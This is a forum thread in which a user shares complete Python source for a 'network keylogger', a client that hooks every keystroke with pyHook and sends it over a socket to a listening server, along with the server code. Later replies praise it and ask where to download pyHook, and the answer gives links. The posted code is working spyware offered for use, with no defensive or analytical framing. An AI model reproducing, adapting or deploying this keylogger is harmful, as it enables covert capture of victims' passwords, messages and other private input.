Python NK

Questions about programming languages and debugging
Post Reply
User avatar
maboroshi
Dr. Mab
Dr. Mab
Posts: 1602
Joined: 28 Aug 2005, 16:00
15

Python NK

Post by maboroshi »

Hi all just wanted to share some code its not much but its a work in progress --- its a Python Network Keylogger

what it does is if the client types in a keystroke it will send the keystrokes to the server

here is the client

Code: Select all

# Written By Maboroshi
import socket
import pythoncom, pyHook
import sys
host = "localhost"
port = 9000

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    sock.connect((host, port))
except:
    print "failed connecting"
    sys.exit()
def OnKeyBoardEvent(event):
    output1 = event.Key
    sock.send(output1)
    return True


hm = pyHook.HookManager()

hm.KeyDown = OnKeyBoardEvent

hm.HookKeyboard()

pythoncom.PumpMessages()

and here is the server

Code: Select all

#Written By Maboroshi
import socket 
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

port = 9000

sock.bind(("", port))

sock.listen(5)

try:
    while 1:
        newSocket, address = sock.accept()
        while 1:
            
            data = newSocket.recv(2048)
            print data + " ",

finally:
    sock.close()

requires pyWin32 pyhook 1.4 and python 2.4

User avatar
bad_brain
Site Owner
Site Owner
Posts: 11534
Joined: 06 Apr 2005, 16:00
15
Location: The zone.
Contact:

Post by bad_brain »

Dr. Mab is building another lifeform in his secret laboratory... :lol:
awesome man... :D

xtheblack9x
suck-o-fied!
suck-o-fied!
Posts: 99
Joined: 15 Jan 2006, 17:00
15
Location: USA

Post by xtheblack9x »

thanks man im kinda in the process of learning python so kinda neat to see something like this and how it works :) good job

User avatar
maboroshi
Dr. Mab
Dr. Mab
Posts: 1602
Joined: 28 Aug 2005, 16:00
15

Cheers Man

Post by maboroshi »

Cheers brother

Maboroshi

xtheblack9x
suck-o-fied!
suck-o-fied!
Posts: 99
Joined: 15 Jan 2006, 17:00
15
Location: USA

Re: Python NK

Post by xtheblack9x »

Maboroshi wrote:requires pyWin32 pyhook 1.4 and python 2.4
i havn't tried the code yet but what is pyhook 1.4? im asuming it adds more functions to python. where can i download pyhook?

User avatar
maboroshi
Dr. Mab
Dr. Mab
Posts: 1602
Joined: 28 Aug 2005, 16:00
15

PyHOOK

Post by maboroshi »

PyHook is the modules for taking in keyboard and mouse input you can download it here
http://sourceforge.net/project/showfile ... p_id=65529

and here is a tutorial of it

http://www.cs.unc.edu/~parente/tech/tr08.shtml

xtheblack9x
suck-o-fied!
suck-o-fied!
Posts: 99
Joined: 15 Jan 2006, 17:00
15
Location: USA

Re: PyHOOK

Post by xtheblack9x »

Maboroshi wrote:PyHook is the modules for taking in keyboard and mouse input you can download it here
http://sourceforge.net/project/showfile ... p_id=65529

and here is a tutorial of it

http://www.cs.unc.edu/~parente/tech/tr08.shtml
thanks :)

Post Reply